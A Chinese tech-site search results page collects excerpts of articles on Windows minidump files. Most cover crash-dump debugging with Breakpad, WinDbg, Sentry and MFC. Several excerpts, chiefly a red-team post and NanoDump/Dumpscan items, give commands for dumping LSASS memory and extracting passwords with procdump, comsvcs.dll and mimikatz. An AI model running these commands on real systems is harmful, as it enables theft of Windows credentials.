首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏difcareer的技术笔记

    MINIDUMP文件格式解析前言MINIDUMP文件解析解析效果编写模板的好处

    breadPad使用的minidump文件格式是微软的minidump,微软官方有详细的介绍文档。在breadPad的源码中,也可以看到和微软一致的结构体定义。 MINIDUMP文件解析 说起对二进制的的解析,不得不推崇一下010editor,它可以开发解析模板,模板使用类c语言的组织方式,基本上将c语言中的结构体复制到模板中稍加调整即可。 于是参考了微软的文档,编写了一个解析MINIDUMP的模板(如果你点了它,恭喜你,你会发现有很多很多的模板,有些是我根据需要自行编写的,独家呢)。 解析效果 ? ? ?

    2.5K20发布于 2018-08-23
  • 来自专栏sofu456

    mfc设置静态库和minidump

    /MD动态库 vs2015以后的vc版本增加UCRT支持,导致Win10版本和 Win7等以前版本不兼容(win10除了exe程序还有uwp程序,兼容win10系统的所有终端,包括手机) minidump = INVALID_HANDLE_VALUE) { MINIDUMP_EXCEPTION_INFORMATION einfo; einfo.ThreadId = ::GetCurrentThreadId MiniDumpNormal, &einfo, NULL, NULL); ::CloseHandle(hFile); } return EXCEPTION_EXECUTE_HANDLER; } minidump 分析 minidump文件和pdb、exe相同目录下 项目中直接打开minidump调试 ? 或者直接打开minidump文件调试 ? 项目添加源文件路径 ?

    86710发布于 2019-12-10
  • 来自专栏sofu456

    mfc设置静态库和minidump、restart

    MFC静态库 crt静态库(/MT) /MD动态库 vs2015以后的vc版本增加UCRT支持(win10除了exe程序还有uwp程序,兼容win10系统的所有终端,包括手机) minidump = INVALID_HANDLE_VALUE) { MINIDUMP_EXCEPTION_INFORMATION einfo; einfo.ThreadId = ::GetCurrentThreadId MiniDumpNormal, &einfo, NULL, NULL); ::CloseHandle(hFile); } return EXCEPTION_EXECUTE_HANDLER; } minidump 分析 minidump文件和pdb、exe相同目录下 项目中直接打开minidump调试,crash dump打开等待很久可以直接打开上面的文件选项 或者直接打开minidump文件调试

    59420编辑于 2022-05-06
  • 来自专栏张师傅的博客

    一次 Kafka 导致的 Sentry 无法处理 MiniDump 问题分析

    业务反馈部署的 Sentry 系统处理 Electron 的 MiniDump 信息出现异常,界面提示。 于是做了一次分析,记录如下。 除了系统,应用 crash 也是可以生成 MiniDump 文件的,本例中就是一个 Electron 的客户端程序生成的 MiniDump。 出问题的同学反馈,当上传的 MiniDump 文件是小文件时,比如 300k 没有任何问题。 后面的 MiniDump 解析的服务(一个 python 的服务)解析文件发现文件不完整,就解析失败了。 response = symbolicator.process_minidump(minidump.data) File "/usr/local/lib/python3.6/site-packages

    1.3K20编辑于 2022-05-13
  • 来自专栏Rust语言学习交流

    【Rust日报】2022-06-15 C2Rust 回来了

    Mozilla:rust-minidump 转储内存的解析和分析 rust-minidump实现了非常可靠的minidump解析+分析,适用于大部分平台 (x86, x64, ARM, ARM64; Windows ReadMore:https://hacks.mozilla.org/2022/06/everything-is-broken-shipping-rust-minidump-at-mozilla/ ReadMore :https://github.com/luser/rust-minidump/ C2Rust 回来了 c2rust(从C到不安全Rust的转译器)再次被积极开发,现在增加了一些新功能和修复了错误,并且放弃了

    48420编辑于 2022-11-28
  • 来自专栏FreeBuf

    如何使用Dumpscan扫描和解析内核及内存Dump数据

     关于Dumpscan  Dumpscan是一款功能强大的命令行工具,该工具可以帮助广大研究人员从内核以及Windows Minidump格式提取和导出敏感数据。   ──────────────────────────────────────────────────────────────────────────────────────────────────╯ Minidump 模式 该工具还支持Windows Minidump格式,但该功能只在Windows 10+的64位进程上进行过测试,32位进程可能还需要做其他处理。 Usage: dumpscan minidump [OPTIONS] COMMAND [ARGS]... Scan a user-mode minidump ╭─ Options ──────────────────────────────────────────────────────────────

    87920编辑于 2023-03-30
  • 来自专栏LINUX阅码场

    Google Breakpad:脱离符号的调试工具

    processor:读取 minidump 寻找适合的 symbol file,生成可读的 C/C++ 调用栈。 minidump 的文件格式 minidump 是微软开发的和核心文件类似的文件格式。 Breakpad 组件 src 目录下有三个目录: client,包含所有平台的 minidump 生成器 processor,用于服务器端处理 minidump tools,包含构建工具的源代码 src 当 processor 的 MinidumpProcessor 类获得一个 minidump 文件时, 它会用 Minidump 的类来读取。 应用可以使用这个库来生成 minidump。 ExceptionHandler 的构造函数至少有两个参数: 用于存放 minidump 文件的路径 用于接受“minidump 已经生成”这一信息的回调函数 注意:尽量不要在回调函数中做大量工作,因为此时进程处于不安全状态

    5.8K31发布于 2020-02-26
  • 来自专栏Gamma安全实验室

    红队技巧-导出凭据和密码

    需要管理员及以上权限 常用命令: procdump -accepteula -ma lsass.exe lsass_dump 导出的.dmp文件本地配合minikatz 取出密码 sekurlsa::Minidump 前提:在powershell中运行,管理员权限以上 命令: C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 前提:管理员权限以及以上,建议自己编译源码去掉一些特征字符,一些不必要的语句 命令: mimikatz_exe "sekurlsa::minidump lsass.dump" "sekurlsa::logonpasswords 杀软拦截概率很低 8.Out-Minidump.ps1转储LSASS.exe内存 ? '); get-process lsass | Out-Minidump” 清除文件: Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore ?

    2.8K10发布于 2021-03-10
  • 来自专栏Hadoop实操

    如何对CDH集群中的Impala打印线程堆栈

    对它发送 SIGUSR1 信号触发 minidump: $ kill -s SIGUSR1 29645 在 /var/log/impalad/impalad.INFO 中可以找到: Wrote minidump 使用 symbol 文件解析 minidump 使用 Impala 源码目录里 toolchain 下的 breakpad 目录下的 minidump_stackwalk 工具就可以根据 symbol 第一个线程 (Thread 0) 标记了 Crashed,但实际是在做 minidump 的线程,上面的 Crash reason 已经写了是 DUMP_REQUESTED。 操作错误示例 解析文件里如果没有函数名,则是 symbol 文件和 minidump 没有配对上,breakpad.log 里可能会有类似的日志: 2019-11-09 23:57:23: minidump_processor.cc 文件 -d /tmp/syms 解析 Minidump 文件: minidump_stackwalk minidump文件 /tmp/syms > /tmp/resolved.txt 2>/tmp/breakpad.log

    3.8K11发布于 2019-11-11
  • 来自专栏JusterZhu

    WinDbg

    ExceptionInfo { None, Present } //typedef struct _MINIDUMP_EXCEPTION_INFORMATION // PEXCEPTION_POINTERS ExceptionPointers; // BOOL ClientPointers; //} MINIDUMP_EXCEPTION_INFORMATION HANDLE hProcess, // __in DWORD ProcessId, // __in HANDLE hFile, // __in MINIDUMP_TYPE System.Environment.CurrentDirectory, string.Format("crash-dump-{0}.dmp", DateTime.Now.ToString("yyyy-MM-dd HH-mm-ss"))); MiniDump.TryDump (dumpFile); Dump调用 MiniDump.TryDump($"dumps\\Wemail_{ DateTime.Now.ToString("HH-mm-ss-ms") }.dmp");

    87310编辑于 2022-12-07
  • 来自专栏搜狗测试

    你的代码有内存泄漏!

    Breakpad由三个主要组件: a.client 以library的形式内置在你的应用中,当崩溃发生时写 minidump文件 b.symbol dumper 读取由编译器生成的调试信息 (debugging information),并生成 symbol file c.processor 读取 minidump文件 和 symbol file ,生成可读的c/c++ Stack 简单来说就是一个生成 minidump,一个生成symbol file,然后将其合并处理成可读的Stack trace。 symbol files,如下: dump_syms /aarch64_linux_gnu_release/bin/sgxserver >Capture.syms b.调整目录结构 为了可以使用 minidump_stackwalk /symbols/PanoramaCapture/092F2B14F23231C563AD282A3043D1E70 c.生成Stack Trace minidump_stackwalk minidump.dmp

    1.3K31发布于 2020-06-04
  • 来自专栏HelloWorld杰少

    使用 Google Breakpad 来助力解决程序崩溃

    client 在崩溃系统中负责抓取当前线程和当前载入的库生成 minidump 文件。 processor 通过 minidump_stackwalk 读取 minidump 文件 找到合适的符号文件产生一个可读的 c/c++ 调用栈。 Breakpad 在所有的平台上都使用 minidump 文件格式,minidump 文件格式是由微软开发的用于崩溃上传,它包括: 当 dump 生成时进程中一系列 executable 和 shared 进程中的线程列表,对于每个线程,minidump 包含它在寄存器中的状态,线程的 stack memory 内容。 在你合适的目录中新建一个文件夹,名称按照个人喜好即可,然后将 dump_syms,minidump_stackwalk,dmp 和 .dSYM 文件拖进来。

    3.8K30编辑于 2022-12-17
  • 来自专栏FreeBuf

    如何使用NanoDump导出LSASS进程数据

    关于NanoDump NanoDump是一款功能强大的MiniDump转储文件提取工具,在该工具的帮助下,广大研究人员可以轻松转储LSASS进程中的MiniDump数据。 ,以绕过某些系统调用检测; 3、支持将syscall回调钩子设置为NULL; 4、通过动态调用方法来调用Windows API; 5、支持选择下载转储文件而不需要触碰磁盘或写入文件; 6、默认情况下,MiniDump 工具使用 我们可以直接在Cobalt Strike的Beacon控制台中运行“nanodump”命令来使用NanoDump: beacon> nanodump 恢复签名 当你下载了NanoDump生成的MiniDump 可以使用下列命令来恢复无效签名: scripts/restore_signature <dumpfile> 获取敏感信息 下列命令可以通过mimikatz来获取转储文件中的敏感信息: mimikatz # sekurlsa::minidump logonPasswords full 如果你使用的是Linux系统,也可以使用mimikatz的Python 3版本,即pypykatz来获取转储文件中的敏感信息: python3 -m pypykatz lsa minidump

    2K10编辑于 2022-06-08
  • 来自专栏Hadoop实操

    Impala查询卡顿分析案例

    这样导出的 Minidump 文件就非常小,在本例中,core dump文件的大小是 12GB,minidump 文件的大小却只有 3MB! 生成Minidump 找到impalad进程的PID,我这里是19731,然后用 "kill -s SIGUSR1 19731" 触发Minidump,成功后在impalad的日志中能找到生成的路径: Wrote minidump to /tmp/minidumps/impalad/2d32f167-9189-4fdc-9fc4ef9d-624b3a1d.dmp ‍‍把这个minidump文件传送到编译 -$IMPALA_BREAKPAD_VERSION/bin/minidump_stackwalk $MINIDUMP_FILE $BREAKPAD_SYMBOLS > $RESULT_FILE 在本例中就是 :4980: INFO: Minidump closing minidump 中间会有刷屏的输出,只要最终解析成功就行了。

    3.6K30发布于 2019-11-06
  • 来自专栏音视频开发之旅

    音视频开发之旅(59)- 捕获收集、定位分析 Native崩溃

    /configure && make && sudo make install 编译安装成功后可以看到生成的生成的/usr/local/bin/minidump_dump和/usr/local/bin/ minidump_stackwalk工具,这些命令工具我们在后面定位分析时会用到 2.3 将Breakpad集成到Android项目中 将 google-breakpad 源代码里面的src文件夹拷贝到项目的 ${BREAKPAD_ROOT}/src/client/linux/minidump_writer/minidump_writer.cc ${BREAKPAD_ROOT}/src/client /minidump_file_writer.cc ${BREAKPAD_ROOT}/src/common/convert_UTF.c ${BREAKPAD_ROOT}/src /symbols/$target_file_name/$version_number #将堆栈跟踪信息重定向到文件中 minidump_stackwalk $dmp_file_name .

    1.7K40编辑于 2021-11-28
  • 来自专栏全栈程序员必看

    程序发生崩溃dump文件_failed to create dump file

    = INVALID_HANDLE_VALUE)) { MINIDUMP_EXCEPTION_INFORMATION mdei; mdei.ThreadId = GetCurrentThreadId(); mdei.ExceptionPointers = pep; mdei.ClientPointers = NULL; MINIDUMP_CALLBACK_INFORMATION mci; mci.CallbackRoutine = (MINIDUMP_CALLBACK_ROUTINE)MiniDumpCallback; mci.CallbackParam = 0; //dump信息较多 MINIDUMP_TYPE mdt = (MINIDUMP_TYPE)( MiniDumpWithPrivateReadWriteMemory | MiniDumpWithFullMemory | MiniDumpWithDataSegs

    1.8K20编辑于 2022-10-01
  • 来自专栏刘晓杰

    BreakPad模拟Android native崩溃

    Breakpad由三个主要组件: client,以library的形式内置在你的应用中,当崩溃发生时写 minidump文件 symbol dumper, 读取由编译器生成的调试信息(debugging information),并生成 symbol file processor, 读取 minidump文件 和 symbol file,生成可读的c/c++ Stack trace. 简单来说就是一个生成 minidump,一个生成symbol file,然后将其合并处理成可读的Stack trace。 MiniDump文件格式说明 Symbols文件格式 2.模拟崩溃 2.1 获取breakpad代码 点击https://chromium.googlesource.com/breakpad/breakpad /configure && make 编译完以后会在生成两个可执行文件,分别是src/processor/minidump_stackwalk和src/tools/linux/dump_syms/dump_syms

    2.1K20发布于 2020-06-02
  • 来自专栏lzy

    win11出现:终止代码:SYSTEM SERVICE EXCEPTION解决方案实列(不懂请私信up主)

    7:dmp: Windows 11 蓝屏时,操作系统会生成一个名为 minidump(.dmp)的文件。这个文件包含了蓝屏发生时的系统信息、硬件状态、内存数据等。 导航到以下路径:C:\Windows\Minidump。在这个文件夹下,您应该可以找到一个或多个 .dmp 文件。文件名通常包含生成该文件的日期。 注意:如果您无法找到 Minidump 文件夹,可能是因为系统没有生成 .dmp 文件。 选择“小内存转储(64 KB)”,然后确认保存文件的路径为:%SystemRoot%\Minidump。 点击“确定”以保存设置。 最后,您可以尝试重装系统,这能解决许多问题。

    13.8K10编辑于 2024-01-18
  • 来自专栏Windows技术交流

    腾讯云手动收集Windows服务器日志的办法

    1回车后,收集的日志在 C:\Program Files\QCloud\DiagCVM\Logs.zip,提供下 然后把.dmp文件压缩成.7z格式提供下(没有的话忽略即可) C:\Windows\Minidump Windows\System32\winevt\Logs 目录:C:\Windows\Logs\WindowsUpdate\ 目录:C:\Windows\Logs\CBS\ 目录:C:\Windows\Minidump Administrator\Desktop\WindowsUpdate.log 上面2个文件都有的话,都提供,没有则忽略 文件:C:\Windows\MEMORY.DMP 文件:C:\Windows\Minidump

    95511编辑于 2024-04-25
  • C/C++ 使用SEH让崩溃进程转存

    lpstrDumpFilePathName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // Dump信息 MINIDUMP_EXCEPTION_INFORMATION MiniDumpNormal, // 只包含捕获进程中所有现有线程的堆栈跟踪所需的信息 &dumpInfo, // 异常信息 NULL, // minidump 文件中不包含用户定义的信息 NULL // 不指定 minidump 信息的回调 ); CloseHandle(hDumpFile); } LONG CrashHandler

    65000编辑于 2022-12-28
领券